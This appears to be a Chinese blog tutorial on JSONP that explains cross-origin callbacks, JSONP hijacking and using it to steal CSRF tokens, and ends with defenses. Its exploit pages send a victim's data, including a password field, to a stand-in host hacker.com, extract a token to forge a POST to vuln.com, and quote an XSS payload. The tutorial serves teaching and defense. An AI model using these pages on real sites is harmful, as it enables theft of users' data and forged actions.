jsonp的简单介绍以及其安全风险

目录
  • JSONP介绍
  • JSONP劫持
  • 利用JSONP绕过token防护进行csrf攻击
  • JSONP劫持挖掘与防御
  • 参考
  • 总结

JSONP介绍

说起跨域请求资源的方法，最常见的方法是JSONP/CORS。下面以具体的例子介绍一下JSONP的工作原理。

JSONP全称是JSON with Padding ，是基于JSON格式的为解决跨域请求资源而产生的解决方案。他实现的基本原理是利用了HTML里script元素标签没有跨域限制

JSONP原理就是动态插入带有跨域url的script标签，然后调用回调函数，把我们需要的json数据作为参数传入，通过一些逻辑把数据显示在页面上。

比如通过script访问http://www.test.com/index.html?jsonpcallback=callback, 执行完script后，会调用callback函数，参数就是获取到的数据。

原理很简单，在本地复现一下，首先新建callback.php:

<!-- callback.php -->

<?php
    header('Content-type: application/json');
    $callback = $_GET["callback"];
    //json数据
    $json_data = '{"customername1":"user1","password":"12345678"}';
    //输出jsonp格式的数据
    echo $callback . "(" . $json_data . ")";
?>

然后新建test.html:

<!-- test.html -->

<html>
<head>
<title>test</title>
<meta charset="utf-8">
<script type="text/javascript">
function hehehe(obj){
    alert(obj["password"]);
}
</script>
</head>
<body>
<script type="text/javascript" src="http://localhost/callback.php?callback=hehehe"></script>
</body>
</html>

我们访问test.html，页面会执行script，请求http://localhost/callback.php?callback=hehehe，然后将请求的内容作为参数，执行hehehe函数，hehehe函数将请求的内容alert出来。最终的结果如下

这样我们就实现了通过js操作跨域请求到的资源，绕过了同源策略。

但是伴随着业务的发展总会出现安全问题，JSONP使用不当也会造成很多安全问题。

JSONP劫持

对于JSONP传输数据，正常的业务是用户在B域名下请求A域名下的数据，然后进行进一步操作。

但是对A域名的请求一般都需要身份验证，hacker怎么去获取到这些信息呢，我们可以自己构造一个页面，然后诱惑用户去点击，在这个页面里，我们去请求A域名资源，然后回调函数将请求到的资源发回到hacker服务器上。

没错JSONP劫持类似于CSRF漏洞，步骤大概如下图(来自参考文章1)所示：

利用代码如下所示：

<html>
<head>
<title>test</title>
<meta charset="utf-8">
<script type="text/javascript">
function hehehe(obj){
    var myForm = document.createElement("form");
    myForm.action="http://hacker.com/redirect.php";
    myForm.method = "GET";
    for ( var k in obj) {
        var myInput = document.createElement("input");
        myInput.setAttribute("name", k);
        myInput.setAttribute("value", obj[k]);
        myForm.appendChild(myInput);
    }
    document.body.appendChild(myForm);
    myForm.submit();
    document.body.removeChild(myForm);
}
</script>
</head>
<body>
<script type="text/javascript" src="http://localhost/callback.php?callback=hehehe"></script>
</body>
</html>

诱惑用户访问此html，会以用户的身份访问http://localhost/callback.php?callback=hehehe,拿到敏感数据，然后执行hehehe函数，将数据发送给http://hacker.com/redirect.php。抓包可以拦截到如下请求包：

GET /redirect.php?customername1=user1&password=12345678 HTTP/1.1
Host: hacker.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://10.133.136.120/test.html
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

hacker只需要在redirect.php里，将数据保存下来，然后重定向到baidu.com，堪称一次完美的JSONP劫持。

利用JSONP绕过token防护进行csrf攻击

具体的实例可以看看参考文章2，3。

通过上面例子，我们知道JSONP可以获取敏感的数据，在某些情况下，还可以利用JSONP劫持绕过token限制完成csrf攻击。

假设有个场景是这样：服务端判断接收到的请求包，如果含有callback参数就返回JSONP格式的数据，否则返回正常页面。代码如下：test.php

<!-- callback.php -->

<?php
    header('Content-type: application/json');
    //json数据
    $json_data = '{"customername1":"user1","password":"12345678"}';
    if(isset($_GET["callback"])){
        $callback = $_GET["callback"];
        //如果含有callback参数，输出jsonp格式的数据
        echo $callback . "(" . $json_data . ")";
    }else{
        echo $json_data;
    }
?>

对于场景，如果存在JSONP劫持劫持，我们就可以获取到页面中的内容，提取出csrf_token，然后提交表单，造成csrf漏洞。示例利用代码如下(来自参考文章2)：

<html>
<head>
<title>test</title>
<meta charset="utf-8">
</head>
<body>
<div id="test"></div>
<script type="text/javascript">
function test(obj){
    // 获取对象中的属性值
    var content = obj['html']
    // 正则匹配出参数值
    var token=content.match('token = "(.*?)"')[1];
    // 添加表单节点
    var parent=document.getElementById("test");
    var child=document.createElement("form");
    child.method="POST";
    child.action="http://vuln.com/del.html";
    child.id="test1"
    parent.appendChild(child);
    var parent_1=document.getElementById("test1");
    var child_1=document.createElement("input");
    child_1.type="hidden";child_1.name="token";child_1.value=token;
    var child_2=document.createElement("input");
    child_2.type="submit";
    parent_1.appendChild(child_1);
    parent_1.appendChild(child_2);
}
</script>
<script type="text/javascript" src="http://vuln.com/caozuo.html?htmlcallback=test"></script>
</body>
</html>

htmlcallback返回一个对象obj，以该对象作为参数传入test函数，操作对象中属性名为html的值，正则匹配出token，再加入表单，自动提交表单完成操作，用户点击该攻击页面即收到csrf攻击。

JSONP劫持挖掘与防御

对于漏洞挖掘，我们首先需要尽可能的找到所有的接口，尤其是返回数据格式是JSONP的接口。(可以在数据包中检索关键词callback json jsonp email等，也可以加上callback参数，观察返回值是否变化)。

找到接口之后，还需要返回值包含敏感信息，并且能被不同的域的页面去请求获取(也就是是否存在refer限制,实际上，如果接口存在refer的限制，也是有可能被绕过的，计划以后的文章中再说)

对于JSONP劫持的防御，其实类似于csrf的防御。以下来源于参考文章4:

  • 限制来源refer
  • 按照JSON格式标准输出（设置Content-Type : application/json; charset=utf-8），预防http://127.0.0.1/getUsers.php?callback=<script>alert(/xss/)</script>形式的xss
  • 过滤callback函数名以及JSON数据输出，预防xss

参考

总结

到此这篇关于jsonp简单介绍以及其安全风险的文章就介绍到这了,更多相关jsonp安全风险内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们！

赞 (0)

相关推荐

  • Jsonp post 跨域方案

    Jsonp post 跨域方案

    近期在项目中遇到这样一问题,关于jsonp跨域问题,get传值是可以的,但post传值死活不行啊,于是网上看了一大堆关于这方面的资料,最终问题得以解决,今天抽空与大家分享下. 说明: http://www.t1.com/index.php 服务端URL 当然这是我本地配置的,需要改为自己对应的地址. 客户端代码: <script> $(function(){ var url = 'http://www.t1.com/index.php'; $.ajax({ type: 'post', url:

  • 使用jsonp完美解决跨域问题

    使用jsonp完美解决跨域问题

    调用web接口,get请求,发现提示:No 'Access-Control-Allow-Origin' header is present on the requested resource. 这个和安全机制有关,默认不允许跨域调用 处理手段:使用jsonp格式, ajax请求参数dataType:'JSONP'. 复制代码 代码如下: $.ajax({         url: "http://.......",         type: 'GET',         dataTy

  • jsonp原理及使用

    jsonp原理及使用

    初识jsonpjsonp 全称是JSON with Padding,是为了解决跨域请求资源而产生的解决方案.很多时候我们需要在客户端获取服务器数据进行操作,一般我们会使用ajax+webservice做此事,但是如果我们希望获取的数据和当前页面并不是一个域,著名的同源策略(不同域的客户端脚本在没明确授权的情况下,不能读写对方的资源)会因为安全原因决绝请求,也就是我们不能向其它域直接发送请求以获取资源.在localhot域上有一个books.php,里面包含脚本对test.com域的books.p

  • 说说JSON和JSONP 也许你会豁然开朗

    说说JSON和JSONP 也许你会豁然开朗

    前言 由于Sencha Touch 2这种开发模式的特性,基本决定了它原生的数据交互行为几乎只能通过AJAX来实现. 当然了,通过调用强大的PhoneGap插件然后打包,你可以实现100%的Socket通讯和本地数据库功能,又或者通过HTML5的WebSocket也可以实现与服务器的通讯和服务端推功能,但这两种方式都有其局限性,前者需要PhoneGap支持,后者要求用户设备必须支持WebSocket,因此都不能算是ST2的原生解决方案,原生的只有AJAX. 说到AJAX就会不可避免的面临两个问题

  • JSONP跨域的原理解析及其实现介绍

    JavaScript是一种在Web开发中经常使用的前端动态脚本技术.在JavaScript中,有一个很重要的安全性限制,被称为"Same-Origin Policy"(同源策略).这一策略对于JavaScript代码能够访问的页面内容做了很重要的限制,即JavaScript只能访问与包含它的文档在同一域下的内容. JavaScript这个安全策略在进行多iframe或多窗口编程.以及Ajax编程时显得尤为重要.根据这个策略,在baidu.com下的页面中包含的JavaScript代码,

  • jsonp的简单介绍以及其安全风险

    目录 JSONP介绍 JSONP劫持 利用JSONP绕过token防护进行csrf攻击 JSONP劫持挖掘与防御 参考 总结 JSONP介绍 说起跨域请求资源的方法,最常见的方法是JSONP/CORS.下面以具体的例子介绍一下JSONP的工作原理. JSONP全称是JSON with Padding ,是基于JSON格式的为解决跨域请求资源而产生的解决方案.他实现的基本原理是利用了HTML里script元素标签没有跨域限制 JSONP原理就是动态插入带有跨域url的script标签,然后调用回调

  • JSP状态管理的简单介绍

    JSP状态管理的简单介绍

    JSP状态管理的简单介绍 一 http协议的无状态性 无状态性是指:当浏览器发送请求给服务器时,服务器响应客户端请求. 但是当同一个浏览器再次发送请求给服务器的时候,服务器并不知道它就是刚才那个浏览器. 简单地说,就是服务器不会去记得你,所以就是无状态协议. 二 保存用户状态的两大机制 Session Cookie 三 Cookie概述 Cookie:中文名称为"小甜饼",是Web服务器保存在客户端的一系列文本信息. 典型应用一:判断注册用户是否已经登录网站. 典型应用二:"

  • Python爬虫之Spider类用法简单介绍

    一.网络爬虫 网络爬虫又被称为网络蜘蛛(

  • Vue过滤器,生命周期函数和vue-resource简单介绍

    一.过滤器 使用例子: <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Title</title> <script src="vue.js"></script> </head> <body> <div id="app&qu

  • Atom-IDE 的使用方法简单介绍

    Atom-IDE 的使用方法简单介绍

    Atom-IDE 的使用方法简单介绍 今日,GitHub 宣布与 Facebook 合作推出了 Atom-IDE -- 它包括一系列将类 IDE 功能带到 Atom 的可选工具包. 初次发布的版本包括更智能.感知上下文的自动完成:导航功能,如大纲视图和 goto-definition,以及其他有用的功能:还包括错误.警告提醒和格式化文档功能. 查看 Atom 博客以了解更多. Atom-IDE 包括适用于 C#, Flow, Java, JavaScript, PHP, 和 TypeScript

  • Eclipse代码格式化设置简单介绍

    自用项目中统一Eclipse格式化Java.JavaScript.JSP.HTML代码设置 1.Window->Preferences //Java 格式化 2.Java->Code Style->Formatter->New->Edit->Line Wrapping 3.Maximum Line width = 180 4.Set line width for preview window = 180 //JavaScript 格式化 5.JavaScript->

  • 权限控制之粗粒度与细粒度概念及实现简单介绍

    本文简单介绍了权限控制之粗粒度与细粒度概念及实现,下面看看具体内容. 1.   什么是粗粒度和细粒度权限 粗粒度权限管理,对资源类型的权限管理.资源类型比如:菜单.url连接.用户添加页面.用户信息.类方法.页面中按钮.. 粗粒度权限管理比如:超级管理员可以访问户添加页面.用户信息等全部页面. 部门管理员可以访问用户信息页面包括 页面中所有按钮. 细粒度权限管理,对资源实例的权限管理.资源实例就资源类型的具体化,比如:用户id为001的修改连接,1110班的用户信息.行政部的员工. 细粒度权限管

  • json简单介绍

    JSON简单介绍: 所谓的JSON是JavaScript Object Notation的缩写,意思是javascript对象表示法. 下面对JSON做一下总结: (1).JSON指的是javascript对象表示法,是JavaScript Object Notation的缩写. (2).JSON是轻量级的文本数据交换格式. (3).JSON是独立于平台和语言的. (4).JSON是具有自我描述性,非常易于理解. 特别说明:JSON是一种用来规范字符串数据格式的语法. 代码实例: 实例一: {"

  • 关于RequireJS的简单介绍即使用方法

    RequireJS介绍 RequireJS 是一个JavaScript模块加载器.它非常适合在浏览器中使用.使用RequireJS加载模块化脚本将提高代码的加载速度和质量. 兼容性 浏览器(browser) 是否兼容 IE 6+ 兼容 ✔ Firefox 2+ 兼容 ✔ Safari 3.2+ 兼容 ✔ Chrome 3+ 兼容 ✔ Opera 10+ 兼容 ✔ 优点 实现js文件的异步加载,避免网页失去响应 管理模块之间的依赖性,便于代码的编写和维护 快速上手 step 1 引入require

  • node.js中http模块和url模块的简单介绍

    node.js中http模块和url模块的简单介绍

    前言 本文主要给大家介绍了关于node.js中http模块与url模块的相关内容,分享出来供大家参考学习,下面话不多说了,来一起看看详细的介绍吧. 一.http模块的简单介绍 node.js当中的http内置模块可以用于创建http服务器与http客户端. 1.引包 const http = require('http'); 2.创建http服务器 var server = http.createServer((req,res)=>{ }); 使用http的.createServer()方法可以

随机推荐